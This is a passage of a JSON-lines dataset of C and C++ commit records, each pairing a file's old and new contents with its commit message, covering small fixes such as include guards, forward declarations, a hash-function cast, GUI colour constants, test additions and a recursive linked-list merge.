OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n","subject":"Fix a couple typos in the CHECK macros.","message":"[sw] Fix a couple typos in the CHECK macros.\n\nSigned-off-by: Miguel Young de la Sota <71b8e7f4945fd97b98544cf897992af89646547a@google.com>\n","lang":"C","license":"apache-2.0","repos":"lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan"}
{"commit":"66cd92fa8407ceeecd4abfe1968eaaed60e04b1d","old_file":"src\/host\/string_hash.c","new_file":"src\/host\/string_hash.c","old_contents":"\/**\n * \\file   string_hash.c\n * \\brief  Computes a hash value for a string.\n * \\author Copyright (c) 2012-2014 Jason Perkins and the Premake project\n *\/\n\n#include \"premake.h\"\n#include <string.h>\n\n\nint string_hash(lua_State* L)\n{\n\tconst char* str = luaL_checkstring(L, 1);\n\tunsigned long seed = luaL_optint(L, 2, 0);\n\tlua_pushnumber(L, do_hash(str, seed));\n\treturn 1;\n}\n\n\nunsigned long do_hash(const char* str, int seed)\n{\n\t\/* DJB2 hashing; see http:\/\/www.cse.yorku.ca\/~oz\/hash.html *\/\n\n\tunsigned long hash = 5381;\n\n\tif (seed != 0) {\n\t\thash = hash * 33 + seed;\n\t}\n\n\twhile (*str) {\n\t\thash = hash * 33 + (*str);\n\t\tstr++;\n\t}\n\n\treturn hash;\n}\n","new_contents":"\/**\n * \\file   string_hash.c\n * \\brief  Computes a hash value for a string.\n * \\author Copyright (c) 2012-2014 Jason Perkins and the Premake project\n *\/\n\n#include \"premake.h\"\n#include <string.h>\n\n\nint string_hash(lua_State* L)\n{\n\tconst char* str = luaL_checkstring(L, 1);\n\tunsigned long seed = luaL_optint(L, 2, 0);\n\tlua_pushnumber(L, (lua_Number)do_hash(str, seed));\n\treturn 1;\n}\n\n\nunsigned long do_hash(const char* str, int seed)\n{\n\t\/* DJB2 hashing; see http:\/\/www.cse.yorku.ca\/~oz\/hash.html *\/\n\n\tunsigned long hash = 5381;\n\n\tif (seed != 0) {\n\t\thash = hash * 33 + seed;\n\t}\n\n\twhile (*str) {\n\t\thash = hash * 33 + (*str);\n\t\tstr++;\n\t}\n\n\treturn hash;\n}\n","subject":"Fix implicit conversion warning when building with floating point Lua","message":"Fix implicit conversion warning when building with floating point Lua\n","lang":"C","license":"bsd-3-clause","repos":"annulen\/premake,annulen\/premake,annulen\/premake,annulen\/premake"}
{"commit":"1e88990b7b2b4bfc9999b79a78a08e7decf7e416","old_file":"src\/types.h","new_file":"src\/types.h","old_contents":"\/*\n * types.h\n * Ansilove 4.1.0\n * https:\/\/www.ansilove.org\n *\n * Copyright (c) 2011-2020 Stefan Vogt, Brian Cassidy, and Frederic Cambus\n * All rights reserved.\n *\n * Ansilove is licensed under the BSD 2-Clause License.\n * See LICENSE file for details.\n *\/\n\n#ifndef TYPES_H\n#define TYPES_H\n\n#define ANSILOVE_FILETYPE_ANS\t1\n#define ANSILOVE_FILETYPE_ADF\t2\n#define ANSILOVE_FILETYPE_BIN\t3\n#define ANSILOVE_FILETYPE_IDF\t4\n#define ANSILOVE_FILETYPE_PCB\t5\n#define ANSILOVE_FILETYPE_TND\t6\n#define ANSILOVE_FILETYPE_XB\t7\n\nextern char *types[];\nextern int filetypes[];\nextern int (*loaders[])(struct ansilove_ctx *, struct ansilove_options *);\n\n#endif \/* TYPES_H *\/\n","new_contents":"\/*\n * types.h\n * Ansilove 4.1.0\n * https:\/\/www.ansilove.org\n *\n * Copyright (c) 2011-2020 Stefan Vogt, Brian Cassidy, and Frederic Cambus\n * All rights reserved.\n *\n * Ansilove is licensed under the BSD 2-Clause License.\n * See LICENSE file for details.\n *\/\n\n#ifndef TYPES_H\n#define TYPES_H\n\n#define ANSILOVE_FILETYPE_ANS\t1\n#define ANSILOVE_FILETYPE_ADF\t2\n#define ANSILOVE_FILETYPE_BIN\t3\n#define ANSILOVE_FILETYPE_IDF\t4\n#define ANSILOVE_FILETYPE_PCB\t5\n#define ANSILOVE_FILETYPE_TND\t6\n#define ANSILOVE_FILETYPE_XB\t7\n\nstruct ansilove_ctx;\nstruct ansilove_options;\n\nextern char *types[];\nextern int filetypes[];\nextern int (*loaders[])(struct ansilove_ctx *, struct ansilove_options *);\n\n#endif \/* TYPES_H *\/\n","subject":"Add forward declarations for ansilove_ctx and ansilove_options structs.","message":"Add forward declarations for ansilove_ctx and ansilove_options structs.\n","lang":"C","license":"bsd-2-clause","repos":"ansilove\/ansilove,ansilove\/AnsiLove-C"}
{"commit":"d4eb917f1f92bbcbe4efd035125a1d5f0d776cd8","old_file":"include\/Range.h","new_file":"include\/Range.h","old_contents":"#ifndef EFDL_RANGE_H\n#define EFDL_RANGE_H\n\n#include <QPair>\n#include <QDebug>\n\nnamespace efdl {\n  typedef QPair<qint64, qint64> Range; \/\/ (start, end)\n}\n\nQDebug operator<<(QDebug dbg, const efdl::Range &r);\n\n#endif \/\/ EFDL_RANGE_H\n","new_contents":"#ifndef EFDL_RANGE_H\n#define EFDL_RANGE_H\n\n#include <QPair>\n#include <QDebug>\n\nnamespace efdl {\n  \/**\n   * Encapsulates a file data range of the form [start, end[\n   *\n   * Note that \"end\" is not inclusive!\n   *\/\n  typedef QPair<qint64, qint64> Range;\n}\n\nQDebug operator<<(QDebug dbg, const efdl::Range &r);\n\n#endif \/\/ EFDL_RANGE_H\n","subject":"Make it explicit that the 'end' in a range [start, end[ is _not_ inclusive.","message":"Make it explicit that the 'end' in a range [start, end[ is _not_ inclusive.\n","lang":"C","license":"mit","repos":"netromdk\/efdl,netromdk\/efdl"}
{"commit":"b3ee386a185c0e97967506b17ff6555668716b02","old_file":"src\/qt\/guiconstants.h","new_file":"src\/qt\/guiconstants.h","old_contents":"#ifndef GUICONSTANTS_H\n#define GUICONSTANTS_H\n\n\/* Milliseconds between model updates *\/\nstatic const int MODEL_UPDATE_DELAY = 500;\n\n\/* Maximum  passphrase length *\/\nstatic const int MAX_PASSPHRASE_SIZE = 1024;\n\n\/* Size of icons in status bar *\/\nstatic const int STATUSBAR_ICONSIZE = 16;\n\n\/* Invalid field background style *\/\n#define STYLE_INVALID \"background:#FF8080\"\n\n\/* Transaction list -- unconfirmed transaction *\/\n#define COLOR_UNCONFIRMED QColor(128, 128, 128)\n\/* Transaction list -- negative amount *\/\n#define COLOR_NEGATIVE QColor(136, 0, 21)\n\/* Table List -- negative amount *\/\n#define COLOR_NEGATIVE_TABLE QColor(224, 0, 0)\n\/* Transaction list -- positive amount *\/\n#define COLOR_POSITIVE QColor(0, 128, 0)\n\/* Transaction list -- bare address (without label) *\/\n#define COLOR_BAREADDRESS QColor(140, 140, 140)\n\n\/* Colors for minting tab for each coin age group *\/\n#define COLOR_MINT_YOUNG QColor(127, 127, 240)\n#define COLOR_MINT_MATURE QColor(127, 240, 127)\n#define COLOR_MINT_OLD QColor(240, 127, 127)\n\n\n#endif \/\/ GUICONSTANTS_H\n","new_contents":"#ifndef GUICONSTANTS_H\n#define GUICONSTANTS_H\n\n\/* Milliseconds between model updates *\/\nstatic const int MODEL_UPDATE_DELAY = 500;\n\n\/* Maximum  passphrase length *\/\nstatic const int MAX_PASSPHRASE_SIZE = 1024;\n\n\/* Size of icons in status bar *\/\nstatic const int STATUSBAR_ICONSIZE = 16;\n\n\/* Invalid field background style *\/\n#define STYLE_INVALID \"background:#FF8080\"\n\n\/* Transaction list -- unconfirmed transaction *\/\n#define COLOR_UNCONFIRMED QColor(128, 128, 128)\n\/* Transaction list -- negative amount *\/\n#define COLOR_NEGATIVE QColor(136, 0, 21)\n\/* Table List -- negative amount *\/\n#define COLOR_NEGATIVE_TABLE QColor(255, 80, 80)\n\/* Transaction list -- positive amount *\/\n#define COLOR_POSITIVE QColor(0, 128, 0)\n\/* Transaction list -- bare address (without label) *\/\n#define COLOR_BAREADDRESS QColor(140, 140, 140)\n\n\/* Colors for minting tab for each coin age group *\/\n#define COLOR_MINT_YOUNG QColor(128, 64, 64)\n#define COLOR_MINT_MATURE QColor(64, 128, 64)\n#define COLOR_MINT_OLD QColor(26, 77, 26)\n\n\n#endif \/\/ GUICONSTANTS_H\n","subject":"Improve colors of minting tab and transactions tab.","message":"Improve colors of minting tab and transactions tab.\n","lang":"C","license":"mit","repos":"Peerunity\/Peerunity,Peerunity\/Peerunity,Peerunity\/Peerunity,Peerunity\/Peerunity"}
{"commit":"e27e62b62b5662afca8c1471ef54c36e7d953b09","old_file":"test\/system\/test_system_idle.c","new_file":"test\/system\/test_system_idle.c","old_contents":"","new_contents":"\/*\n* kinetic-c\n* Copyright (C) 2014 Seagate Technology.\n*\n* This program is free software; you can redistribute it and\/or\n* modify it under the terms of the GNU General Public License\n* as published by the Free Software Foundation; either version 2\n* of the License, or (at your option) any later version.\n*\n* This program is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU General Public License for more details.\n*\n* You should have received a copy of the GNU General Public License\n* along with this program; if not, write to the Free Software\n* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n*\n*\/\n#include <unistd.h>\n#include <err.h>\n\n#include \"system_test_fixture.h\"\n#include \"kinetic_client.h\"\n\nstatic SystemTestFixture Fixture;\n\n#define IDLE_SECONDS 10\n\nvoid setUp(void)\n{\n}\n\nvoid tearDown(void)\n{\n}\n\nstatic void child_task(void) {\n    SystemTestSetup(&Fixture, 0);\n\n    sleep(IDLE_SECONDS);\n\n    SystemTestTearDown(&Fixture);\n    exit(0);\n}\n\nvoid test_idle_system_should_go_dormant(void)\n{\n    const int children = 16;\n    for (int i = 0; i < children; i++) {\n        pid_t pid = fork();\n        if (pid == 0) {\n            child_task();\n        } else if (pid == -1) {\n            err(1, \"fork\");\n        } else {\n            \/* nop *\/\n        }\n    }\n\n    sleep(IDLE_SECONDS);\n\n    for (int i = 0; i < children; i++) {\n        int stat_loc = 0;\n        wait(&stat_loc);\n    }\n}\n","subject":"Add idle multiprocess system test.","message":"Add idle multiprocess system test.\n","lang":"C","license":"mpl-2.0","repos":"benmcclelland\/kinetic-c,chenchongli\/kinetic-c,Kinetic\/kinetic-c,chenchongli\/kinetic-c,Kinetic\/kinetic-c,Seagate\/kinetic-c,rcrane\/kinetic-c,benmcclelland\/kinetic-c,benmcclelland\/kinetic-c,Kinetic\/kinetic-c,Seagate\/kinetic-c,kinjalcpatel\/kinetic-c,rcrane\/kinetic-c,Kinetic\/kinetic-c,benmcclelland\/kinetic-c,chenchongli\/kinetic-c,Seagate\/kinetic-c,Seagate\/kinetic-c,chenchongli\/kinetic-c,kinjalcpatel\/kinetic-c,kinjalcpatel\/kinetic-c,rcrane\/kinetic-c,rcrane\/kinetic-c,benmcclelland\/kinetic-c,kinjalcpatel\/kinetic-c"}
{"commit":"c3097e8290c50f7fc67920233a4d4a7a20d68dcb","old_file":"fmt\/sign_pad.c","new_file":"fmt\/sign_pad.c","old_contents":"#include <string.h>\n#include \"number.h\"\n\n\/** Format padding for a signed number. *\/\nunsigned fmt_sign_pad(char* buffer, int sign, unsigned width, char pad)\n{\n  char* s = buffer;\n  if (buffer == 0)\n    return width + (sign != 0);\n  if (!width) {\n    if (sign)\n      *s++ = '-';\n  }\n  else {\n    if (pad != '0') {\n      memset(s, pad, width);\n      s += width;\n    }\n    if (sign)\n      *s++ = '-';\n    if (pad == '0') {\n      memset(s, pad, width);\n      s += width;\n    }\n  }\n  return s - buffer;\n}\n\n#ifdef SELFTEST_MAIN\n#include \"selftest.c\"\nvoid test(int sign, unsigned width, char pad)\n{\n  char buf[10];\n  buf[fmt_sign_pad(buf, sign, width, pad)] = 0;\n  obuf_puts(&outbuf, buf);\n  NL();\n}\n\nMAIN\n{\n  test(0, 0,   0);\n  test(1, 0,   0);\n  test(0, 4, 'x');\n  test(1, 4, 'x');\n  test(0, 4, '0');\n  test(1, 4, '0');\n}\n#endif\n#ifdef SELFTEST_EXP\n\n-\nxxxx\nxxxx-\n0000\n-0000\n#endif\n","new_contents":"#include <string.h>\n#include \"number.h\"\n\n\/** Format padding for a signed number. *\/\nunsigned fmt_sign_pad(char* buffer, int sign, unsigned width, char pad)\n{\n  char* s = buffer;\n  if (buffer == 0)\n    return width + (sign != 0);\n  if (!width) {\n    if (sign)\n      *s++ = '-';\n  }\n  else {\n    if (pad != '0') {\n      memset(s, pad, width);\n      s += width;\n    }\n    if (sign)\n      *s++ = '-';\n    if (pad == '0') {\n      memset(s, pad, width);\n      s += width;\n    }\n  }\n  return s - buffer;\n}\n\n#ifdef SELFTEST_MAIN\n#include \"selftest.c\"\nvoid test(int sign, unsigned width, char pad)\n{\n  char buf[10];\n  obuf_putu(&outbuf, fmt_sign_pad(0, sign, width, pad));\n  obuf_putc(&outbuf, ':');\n  buf[fmt_sign_pad(buf, sign, width, pad)] = 0;\n  obuf_puts(&outbuf, buf);\n  NL();\n}\n\nMAIN\n{\n  test(0, 0,   0);\n  test(1, 0,   0);\n  test(0, 4, 'x');\n  test(1, 4, 'x');\n  test(0, 4, '0');\n  test(1, 4, '0');\n}\n#endif\n#ifdef SELFTEST_EXP\n0:\n1:-\n4:xxxx\n5:xxxx-\n4:0000\n5:-0000\n#endif\n","subject":"Include the no-buffer length when testing this function.","message":"Include the no-buffer length when testing this function.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"56bfdc11d63694e8f2248e98b8d1ee1eedfb0e43","old_file":"src\/avfs\/avfsincludes.h","new_file":"src\/avfs\/avfsincludes.h","old_contents":"#include \"assertive.h\"\n#include <VSScript.h>\n#include <VapourSynth.h>\n#include <VSHelper.h>\n#include <climits>\n#include <cstdint>\n#include <cstdarg>\n#include <cstring>\n#include <cstdlib>\n#include <wchar.h>\n#include <cstdio>\n#include <algorithm>\n#include <new>\n#include <codecvt>\n#include <string>\n#include <fstream>\n#include <vector>\n#define WIN32_LEAN_AND_MEAN\t\t\/\/ Exclude rarely-used stuff from Windows headers\n#define NOMINMAX\n#include <windows.h>\n#include <vfw.h>\n#include <aviriff.h>\n#include \"ss.h\"\n#pragma warning(disable: 4244) \/\/ size conversion warning\n#pragma warning(disable: 4245) \/\/ sign conversion warning\n#include \"avisynth.h\"\n#pragma warning(default: 4244)\n#pragma warning(default: 4245)\n#include \"avfspfm.h\"\n#include \"xxfs.h\"\n#include \"avfs.h\"\n#include \"vsfs.h\"\n#include \"videoinfoadapter.h\"\n#include \"..\/common\/p2p_api.h\"\n#include \"..\/common\/fourcc.h\"","new_contents":"#include \"assertive.h\"\n#include <VSScript.h>\n#include <VapourSynth.h>\n#include <VSHelper.h>\n#include <climits>\n#include <cstdint>\n#include <cstdarg>\n#include <cstring>\n#include <cstdlib>\n#include <wchar.h>\n#include <cstdio>\n#include <algorithm>\n#include <new>\n#include <codecvt>\n#include <string>\n#include <fstream>\n#include <vector>\n#define WIN32_LEAN_AND_MEAN\t\t\/\/ Exclude rarely-used stuff from Windows headers\n#define NOMINMAX\n#include <windows.h>\n#include \"ss.h\"\n#pragma warning(disable: 4244) \/\/ size conversion warning\n#pragma warning(disable: 4245) \/\/ sign conversion warning\n#include \"avisynth.h\"\n#pragma warning(default: 4244)\n#pragma warning(default: 4245)\n#include \"avfspfm.h\"\n#include \"xxfs.h\"\n#include \"avfs.h\"\n#include \"vsfs.h\"\n#include \"videoinfoadapter.h\"\n#include \"..\/common\/p2p_api.h\"\n#include \"..\/common\/fourcc.h\"\n\/\/ Common vfw defines\n#define WAVE_FORMAT_PCM               1\n#define WAVE_FORMAT_IEEE_FLOAT   0x0003","subject":"Reduce the number of windows specific includes in AVFS","message":"Reduce the number of windows specific includes in AVFS\n","lang":"C","license":"lgpl-2.1","repos":"vapoursynth\/vapoursynth,Kamekameha\/vapoursynth,vapoursynth\/vapoursynth,vapoursynth\/vapoursynth,Kamekameha\/vapoursynth,Kamekameha\/vapoursynth,vapoursynth\/vapoursynth,Kamekameha\/vapoursynth"}
{"commit":"b336f8736f562f6723777d70f6f5956e28ccab73","old_file":"util.h","new_file":"util.h","old_contents":"#ifndef UTIL_H\n#define UTIL_H\n\nvoid set_verbose_on();\nvoid set_debug_on();\n\nvoid error(const char * fmt, ...);\n\nvoid verbose(const char * fmt, ...);\nvoid debug(const char * fmt, ...);\n\n#endif\n","new_contents":"#ifndef UTIL_H\n#define UTIL_H\n\nvoid set_verbose_on();\nvoid set_debug_on();\n\nvoid error(const char * fmt, ...);\n\nvoid verbose(const char * fmt, ...);\nvoid debug(const char * fmt, ...);\n\nvoid run_command(char * const argv[]);\n\n#endif\n","subject":"Allow run_command to be accessed from other files","message":"Allow run_command to be accessed from other files\n","lang":"C","license":"mit","repos":"jaybosamiya\/wifi-sniffer,jaybosamiya\/wifi-sniffer"}
{"commit":"aabfde2411ee372efed2ceff2c89c5b89b7ede5d","old_file":"MergeTwoSortedListsRecursive.c","new_file":"MergeTwoSortedListsRecursive.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\nstruct node {\n        int data;\n        struct node *next;\n};\nstruct node *createNode (int value) {\n        struct node *newNode = (struct node *) malloc (sizeof (struct node));\n        newNode -> data = value;\n        newNode -> next = NULL;\n        return newNode;\n}\nvoid insertNode (struct node **head_ref, struct node **tail_ref, int value) {\n        struct node *newNode = createNode (value);\n        if (*head_ref == NULL) {\n                *head_ref = newNode;\n                *tail_ref = newNode;\n}\n        else {\n                (*tail_ref) -> next = newNode;\n                *tail_ref = newNode;\n}\n}\nvoid  printList (struct node *head) {\n        while (head != NULL) {\n                printf (\"%d -> \", head->data);\n                head = head->next;\n}\n        printf (\"NULL\\n\");\n}\nvoid destroyList (struct node *head) {\n        struct node *nextNode = head;\n        while (head != NULL) {\n                nextNode = head -> next;\n                free (head);\n                head = nextNode;\n}\n        printf(\"Killed off all her feelings\\n\" );\n}\nstruct node *mergeTwoSortedRecursive (struct node *head1, struct node *head2) {\n        if (head1 == NULL) {\n                return head2;\n        }\n        if (head2 == NULL) {\n                return head1;\n        }\n        if (head1->data < head2->data) {\n                head1->next = mergeTwoSortedRecursive (head1->next, head2);\n                return head1;\n        }\n        else {\n                head2->next = mergeTwoSortedRecursive (head1, head2->next);\n                return head2;\n        }\n}\nint main (int argc, char *argv[]) {\n        int value;\n        struct node *head1 = NULL;\n        struct node *tail1 = NULL;\n        struct node *head2 = NULL;\n        struct node *tail2 = NULL;\n        struct node *resultHead = NULL;\n        char buffer[2048];\n        char *p = NULL;\n\n        fgets (buffer, 2048, stdin);\n        p = strtok (buffer, \"NULL > | \\n\");\n        while (p != NULL) {\n                sscanf (p, \"%d\", &value);\n                insertNode (&head1, &tail1, value);\n                p = strtok (NULL, \"NULL null | > \\n\");\n}\n        fgets (buffer, 2048, stdin);\n        p = strtok (buffer, \"NULL > | \\n\");\n        while (p != NULL) {\n        sscanf (p, \"%d\", &value);\n        insertNode (&head2, &tail2, value);\n        p = strtok (NULL, \"NULL null | > \\n\");\n}\n        printList (head1);\n        printList (head2);\n        resultHead = mergeTwoSortedRecursive (head1, head2);\n        printList (resultHead);\n        destroyList (resultHead);\n        head1 = NULL;\n        tail1 = NULL;\n        head2 = NULL;\n        tail2 = NULL;\n        return 0;\n}\n","subject":"Merge two sorted lists - recursive","message":"Added: Merge two sorted lists - recursive\n\nsay \r\n1 2\r\n3 4 \r\nare the given sorted lists.\r\nthe smallest element will be one of the head nodes' data. \r\nsay head1.\r\nthus, keep it aside and update it's next by assigning it to the next smaller element in both the lists. this element would also be at either of the head nodes. so, head1->next = (head1->next, head2);\r\nproceed further in the same way.","lang":"C","license":"mit","repos":"devrezo\/iaap"}
{"commit":"ed56e96ebeffec4ee264c707ddacc3ac3b3bb2fd","old_file":"include\/body.h","new_file":"include\/body.h","old_contents":"#ifndef CPR_BODY_H\n#define CPR_BODY_H\n\n#include <string>\n\n#include \"defines.h\"\n\nnamespace cpr {\n\nclass Body : public std::string {\n  public:\n    Body() = default;\n    Body(const Body& rhs) = default;\n    Body(Body&& rhs) = default;\n    Body& operator=(const Body& rhs) = default;\n    Body& operator=(Body&& rhs) = default;\n    explicit Body(const char* raw_string) : std::string(raw_string) {}\n    explicit Body(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n    explicit Body(size_t to_fill, char character) : std::string(to_fill, character) {}\n    explicit Body(const std::string& std_string) : std::string(std_string) {}\n    explicit Body(const std::string& std_string, size_t position, size_t length = std::string::npos)\n            : std::string(std_string, position, length) {}\n    explicit Body(std::initializer_list<char> il) : std::string(il) {}\n    template <class InputIterator>\n    explicit Body(InputIterator first, InputIterator last)\n            : std::string(first, last) {}\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_BODY_H\n#define CPR_BODY_H\n\n#include <cstring>\n\n#include <initializer_list>\n#include <string>\n\n#include \"defines.h\"\n\nnamespace cpr {\n\nclass Body : public std::string {\n  public:\n    Body() = default;\n    Body(const Body& rhs) = default;\n    Body(Body&& rhs) = default;\n    Body& operator=(const Body& rhs) = default;\n    Body& operator=(Body&& rhs) = default;\n    explicit Body(const char* raw_string) : std::string(raw_string) {}\n    explicit Body(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n    explicit Body(size_t to_fill, char character) : std::string(to_fill, character) {}\n    explicit Body(const std::string& std_string) : std::string(std_string) {}\n    explicit Body(const std::string& std_string, size_t position, size_t length = std::string::npos)\n            : std::string(std_string, position, length) {}\n    explicit Body(std::initializer_list<char> il) : std::string(il) {}\n    template <class InputIterator>\n    explicit Body(InputIterator first, InputIterator last)\n            : std::string(first, last) {}\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Add specific headers for used symbols in Body","message":"Add specific headers for used symbols in Body\n","lang":"C","license":"mit","repos":"whoshuu\/cpr,SuperV1234\/cpr,whoshuu\/cpr,msuvajac\/cpr,msuvajac\/cpr,SuperV1234\/cpr,SuperV1234\/cpr,msuvajac\/cpr,whoshuu\/cpr"}
{"commit":"9daa20c4f49febf0046ed42e0b436ad9f6956a2c","old_file":"qsjsonlistmodel.h","new_file":"qsjsonlistmodel.h","old_contents":"#pragma once\n\n#include <QObject>\n#include <QQmlParserStatus>\n#include \"qslistmodel.h\"\n\nclass QSJsonListModel : public QSListModel, public QQmlParserStatus\n{\n    Q_OBJECT\n    Q_PROPERTY(QString keyField READ keyField WRITE setKeyField NOTIFY keyFieldChanged)\n    Q_PROPERTY(QVariantList source READ source WRITE setSource NOTIFY sourceChanged)\n    Q_PROPERTY(QStringList fields READ fields WRITE setFields NOTIFY fieldsChanged)\n    Q_INTERFACES(QQmlParserStatus)\n\npublic:\n    explicit QSJsonListModel(QObject *parent = 0);\n\n    QString keyField() const;\n\n    void setKeyField(const QString &keyField);\n\n    QVariantList source() const;\n\n    void setSource(const QVariantList &source);\n\n    QStringList fields() const;\n\n    void setFields(const QStringList &roleNames);\n\nsignals:\n\n    void keyFieldChanged();\n\n    void sourceChanged();\n\n    void fieldsChanged();\n\npublic slots:\n\nprotected:\n    virtual void classBegin();\n    virtual void componentComplete();\n\nprivate:\n    void sync();\n\n    QString m_keyField;\n\n    QVariantList m_source;\n\n    QStringList m_fields;\n\n    bool componentCompleted;\n};\n","new_contents":"#pragma once\n\n#include <QObject>\n#include <QQmlParserStatus>\n#include \"qslistmodel.h\"\n\n\/* QSJsonListModel is a data model that combine QSListModel and QSDiffRunner\n * into a single class. It may take a Javascript array object as source input,\n * it will compare with previous input then update the model according to\n * the diff.\n *\/\n\nclass QSJsonListModel : public QSListModel, public QQmlParserStatus\n{\n    Q_OBJECT\n    Q_PROPERTY(QString keyField READ keyField WRITE setKeyField NOTIFY keyFieldChanged)\n    Q_PROPERTY(QVariantList source READ source WRITE setSource NOTIFY sourceChanged)\n    Q_PROPERTY(QStringList fields READ fields WRITE setFields NOTIFY fieldsChanged)\n    Q_INTERFACES(QQmlParserStatus)\n\npublic:\n    explicit QSJsonListModel(QObject *parent = 0);\n\n    QString keyField() const;\n\n    void setKeyField(const QString &keyField);\n\n    QVariantList source() const;\n\n    void setSource(const QVariantList &source);\n\n    QStringList fields() const;\n\n    void setFields(const QStringList &roleNames);\n\nsignals:\n\n    void keyFieldChanged();\n\n    void sourceChanged();\n\n    void fieldsChanged();\n\npublic slots:\n\nprotected:\n    virtual void classBegin();\n    virtual void componentComplete();\n\nprivate:\n    void sync();\n\n    QString m_keyField;\n\n    QVariantList m_source;\n\n    QStringList m_fields;\n\n    bool componentCompleted;\n};\n","subject":"Add description to QSJsonListModel in source file.","message":"Add description to QSJsonListModel in source file.\n","lang":"C","license":"apache-2.0","repos":"benlau\/qsyncable,benlau\/qsyncable"}
{"commit":"e59e627e6e8ef1baab2dcd79e5b28f1a6d31978c","old_file":"libyaul\/yaul.h","new_file":"libyaul\/yaul.h","old_contents":"\/*\n * Copyright (c) 2012-2014 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _LIBYAUL_H_\n#define _LIBYAUL_H_\n\n\/* CPU *\/\n#include <cpu.h>\n\n\/* SCU *\/\n#include <scu.h>\n\n\/* CS0 *\/\n#include <arp.h>\n#include <dram-cartridge.h>\n#include <usb-cartridge.h>\n\n\/* CS2 *\/\n#include <cd-block.h>\n\n\/* VDP1 *\/\n#include <vdp1.h>\n\n\/* VDP2 *\/\n#include <vdp2.h>\n\n\/* SMPC *\/\n#include <smpc.h>\n\n\/* Kernel *\/\n#include <common.h>\n#include <irq-mux.h>\n#include <cons.h>\n\n#include <fs\/iso9660\/iso9660.h>\n#include <fs\/romdisk\/romdisk.h>\n\n#include <gdb.h>\n\n#endif \/* !_LIBYAUL_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2012-2014 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#ifndef _LIBYAUL_H_\n#define _LIBYAUL_H_\n\n\/* CPU-bus CPU *\/\n#include <cpu.h>\n\n\/* CPU-bus SMPC *\/\n#include <smpc.h>\n\n\/* SCU *\/\n#include <scu.h>\n\n\/* CS0 *\/\n#include <arp.h>\n#include <dram-cartridge.h>\n#include <usb-cartridge.h>\n\n\/* CS2 *\/\n#include <cd-block.h>\n\n\/* B-bus VDP1 *\/\n#include <vdp1.h>\n\n\/* B-bus VDP2 *\/\n#include <vdp2.h>\n\n\/* B-bus SCSP *\/\n#include <scsp.h>\n\n\/* Kernel *\/\n#include <common.h>\n#include <irq-mux.h>\n#include <cons.h>\n\n#include <fs\/iso9660\/iso9660.h>\n#include <fs\/romdisk\/romdisk.h>\n\n#include <gdb.h>\n\n#endif \/* !_LIBYAUL_H_ *\/\n","subject":"Add missing header (for SCSP)","message":"Add missing header (for SCSP)\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"9a91e90810d8c91e9e83799e7824f1ff9b171266","old_file":"IPCalculator\/IPAddress.h","new_file":"IPCalculator\/IPAddress.h","old_contents":"#include <iostream>\n\n\/\/ An IPv4 address has the following form:\n\/\/ \"A.B.C.D\", where A, B, C and D are bytes\nclass IPAddress {\n public:\n     IPAddress (unsigned char a = 0, unsigned char b = 0, unsigned char c = 0, unsigned char d = 0);\n\n     IPAddress operator& (const IPAddress& addr) const;\n     IPAddress operator| (const IPAddress& addr) const;\n     IPAddress operator~ () const;\n     \n     bool operator== (const IPAddress& addr) const;\n     bool operator!= (const IPAddress& addr) const;\n\n     friend std::ostream& operator<< (std::ostream& os, const IPAddress& addr);\n     friend std::istream& operator>> (std::istream& is, IPAddress& addr);\n\n     void setAddress (unsigned char a, unsigned char b, unsigned char c, unsigned char d);\n\n private:\n     unsigned char m_a;\n     unsigned char m_b;\n     unsigned char m_c;\n     unsigned char m_d;\n};","new_contents":"#ifndef _IP_ADDRESS_H_\n#define _IP_ADDRESS_H_\n\n#include <iostream>\n\n\/\/ An IPv4 address has the following form:\n\/\/ \"A.B.C.D\", where A, B, C and D are bytes\nclass IPAddress {\n public:\n     IPAddress (unsigned char a = 0, unsigned char b = 0, unsigned char c = 0, unsigned char d = 0);\n\n     IPAddress operator& (const IPAddress& addr) const;\n     IPAddress operator| (const IPAddress& addr) const;\n     IPAddress operator~ () const;\n     \n     bool operator== (const IPAddress& addr) const;\n     bool operator!= (const IPAddress& addr) const;\n\n     friend std::ostream& operator<< (std::ostream& os, const IPAddress& addr);\n     friend std::istream& operator>> (std::istream& is, IPAddress& addr);\n\n     void setAddress (unsigned char a, unsigned char b, unsigned char c, unsigned char d);\n\n private:\n     unsigned char m_a;\n     unsigned char m_b;\n     unsigned char m_c;\n     unsigned char m_d;\n};\n\n#endif \/\/ _IPADDRESS_H_","subject":"Add header guard to prevent multiple inclusion errors","message":"Add header guard to prevent multiple inclusion errors\n","lang":"C","license":"mit","repos":"ocpodariu\/ip-calculator"}
